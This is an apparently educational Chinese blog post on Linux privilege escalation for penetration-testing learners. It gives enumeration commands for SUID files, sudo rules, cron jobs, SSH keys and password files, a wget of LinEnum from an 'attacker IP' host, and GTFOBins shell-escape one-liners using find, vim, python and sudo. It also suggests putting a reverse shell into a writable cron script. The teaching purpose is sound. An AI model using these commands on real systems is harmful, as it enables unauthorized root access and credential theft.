📌 这是「安全底稿」的第 32 篇记录从零学渗透测试,每天一篇学习笔记。
今天的内容:
一、学习目标
✅ 最终目标:会 Linux 提权信息收集与风险检测
二、Linux 提权整体思路
核心原则
优先寻找“低成本、高成功率”的提权路径:配置错误 > 本地内核漏洞
提权流程
text
低权限 Shell │ ▼┌────────────────────────────────
─────────────────────────────┐│ Step 1: 信息收集 ││ - 系统版本、内核信息、发行版 ││ - 当前用户权限、sudo 配置 ││ - SUID/SGID 文件、可写文件/目录 ││ - 计划任务、服务、网络连接 ││ - 敏感文件(密码、配置文件) │├─────────────────────────────────────────────────────────────┤│ Step 2: 分析提权路径 ││ - SUID 滥用 → GTFOBins 查找提权方法 ││ - sudo 配置错误 → sudo -l 寻找 NOPASSWD 或可滥用命令 ││ - 计划任务 → 可写脚本或通配符注入 ││ - 内核漏洞 → 匹配 CVE 并编译 EXP │├─────────────────────────────────────────────────────────────┤│ Step 3: 选择并执行提权 │├─────────────────────────────────────────────────────────────┤│ Step 4: 验证权限(id、whoami) │└─────────────────────────────────────────────────────────────┘
提权优先级排序
| | | |
|---|
| sudo 配置错误 | | |
| SUID 滥用 | | |
| 计划任务 | | |
| 服务配置错误 | | |
| 内核漏洞 | Dirty Pipe、Dirty COW、PwnKit | |
三、信息收集必备命令
系统与内核信息
| | |
|---|
uname -a | | |
cat /etc/os-release | | |
hostname | | |
arch / uname -m | | |
用户与权限信息
| | |
|---|
whoami | | |
id | | |
sudo -l | | |
cat /etc/passwd | | |
history | | |
env | | |
SUID/SGID 文件查找
bash
# 查找 SUID 文件(关键!)find / -perm-4000-type f 2>/dev/null# 查找 SGID 文件find / -perm-2000-type f 2>/dev/null# 查找 root 拥有的 SUID 文件find / -user root -perm-4000-execls-ldb{}\;2>/dev/null# 使用更精确的条件find / -perm-u=s -type f 2>/dev/null可写文件与目录
bash
# 查找全局可写目录find / -writable-type d 2>/dev/null# 查找可写文件(排除 /proc)find / -path /proc -prune-o-type f -perm -o+w 2>/dev/null# 查找世界可写的配置文件find /etc -type f -perm -o+w 2>/dev/null
计划任务
bash
# 系统级计划任务cat /etc/crontab# 用户级计划任务crontab-l# 目录中的计划任务脚本ls-la /etc/cron*ls-la /var/spool/cron/# systemd 定时器systemctl list-timers --all
网络与服务
| |
|---|
netstat -tulpn | |
ss -tulpn | |
ps aux | |
ps aux | grep root | |
敏感文件搜索
bash
# 查找密码相关文件grep-r"password" /var/www /home 2>/dev/null# 查找配置文件find / -name"*.conf"-type f 2>/dev/null |head-20# 查找 SSH 密钥find / -name"id_rsa"-o-name"id_dsa"2>/dev/null# 查找备份文件find / -name"*.zip"-o-name"*.tar.gz"-o-name"*.bak"2>/dev/null
四、自动化信息收集工具
LinEnum(推荐)
LinEnum 是一个功能强大的 Linux 枚举脚本,自动化收集系统信息并高亮显示潜在的提权点。
使用步骤:
bash
# 1. 上传或下载到目标机cd /tmpwget http://攻击者IP:8000/LinEnum.sh# 2. 添加执行权限chmod +x LinEnum.sh# 3. 执行脚本./LinEnum.sh# 4. 保存输出便于分析./LinEnum.sh > linenum_output.txt
检测项:系统信息、用户权限、SUID/SGID、可写目录、网络配置、sudo 配置、计划任务等。
linux-exploit-suggester(漏洞匹配)
根据内核版本和发行版信息,自动匹配可能的内核提权漏洞。
bash
# 下载wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh# 执行chmod +x les.sh./les.sh
GTFOBins(SUID 利用速查)
网址:https://gtfobins.github.io/
GTFOBins 是一个精选的 Unix 二进制文件列表,这些文件可以被滥用来绕过本地安全限制。当发现某个程序设置了 SUID 位时,可以在 GTFOBins 上查找该程序的提权方法。
示例:
bash
# 如果 find 有 SUIDfind.-exec /bin/sh -p\;-quit# 如果 vim 有 SUIDvim-c':py import os; os.setuid(0); os.execl("/bin/sh","sh")'
五、常见提权路径详解
1️⃣ SUID 滥用提权
设置了 SUID 位的程序以文件所有者(通常是 root)权限运行。
查找方法:
bash
find / -perm-u=s -type f 2>/dev/null
| |
|---|
find | find /tmp -exec /bin/sh -p \; -quit |
vim | vim -c ':py import os; os.setuid(0); os.execl("/bin/sh","sh")' |
bash | bash -p |
nmap | nmap --interactive → !sh |
2️⃣ sudo 配置错误提权
bash
# 查看当前用户的 sudo 权限sudo-l
| |
|---|
(ALL) NOPASSWD: ALL | sudo /bin/bash |
(root) NOPASSWD: /usr/bin/vim | sudo vim -c ':!/bin/sh' |
(root) NOPASSWD: /usr/bin/find | sudo find . -exec /bin/sh \; -quit |
(root) NOPASSWD: /usr/bin/python | sudo python -c 'import pty; pty.spawn("/bin/sh")' |
3️⃣ 计划任务提权
系统计划任务(cron)以 root 权限执行,如果任务调用的脚本可写,就能提权。
检查方法:
bash
cat /etc/crontabls-la /etc/cron*crontab-l
利用场景:
脚本文件可写 → 添加反弹 shell
脚本目录可写 → 替换或创建同名脚本
通配符注入 → 利用 tar 等命令的特性
4️⃣ 内核漏洞提权
流程:uname -a → linux-exploit-suggester → 下载/编译 EXP → 执行提权
六、今日实操清单
信息收集命令练习
执行 uname -a、cat /etc/os-release、id
执行 sudo -l(如果是普通用户,观察输出)
执行 find / -perm -4000 -type f 2>/dev/null,记录 SUID 文件列表
执行 cat /etc/crontab,观察计划任务
LinEnum 使用
下载 LinEnum
在目标 Linux 系统上执行 LinEnum
分析输出中的高亮部分(潜在漏洞点)
linux-exploit-suggester 使用
GTFOBins 查询练习
七、自测题
Linux 提权信息收集时,哪些命令可以查看内核版本和发行版信息?
如何查找系统中所有 SUID 文件?
LinEnum 工具的主要作用是什么?
sudo -l 命令看到 (ALL) NOPASSWD: /usr/bin/vim,如何利用提权?
GTFOBins 网站的作用是什么?
八、记忆口诀
Linux 提权先收集,内核版本发行版id sudo 看权限,SUID 文件 find 查计划任务 cron 里,GTFOBins 查滥用LinEnum 全自动,漏洞匹配找 CVE配置错误优先用,内核提权放最后
✅ 今日复盘
学到的核心概念:
提权优先级:sudo 配置 > SUID > 计划任务 > 内核漏洞
信息收集命令:uname、id、sudo -l、find、cat /etc/crontab
自动化工具:LinEnum、linux-exploit-suggester
提权速查:GTFOBins
常见路径:SUID 滥用、sudo 配置错误、计划任务、内核漏洞
明天计划:
Linux SUID 提权实战
sudo 提权实战
Dirty Pipe 内核漏洞提权

扫码关注 · 一起从零学渗透每天一篇学习笔记,从入门到实战。
如果这篇对你有帮助,欢迎分享给同样在学安全的朋友。
评论区聊聊:你收集到的 Linux 信息中,哪个最有价值?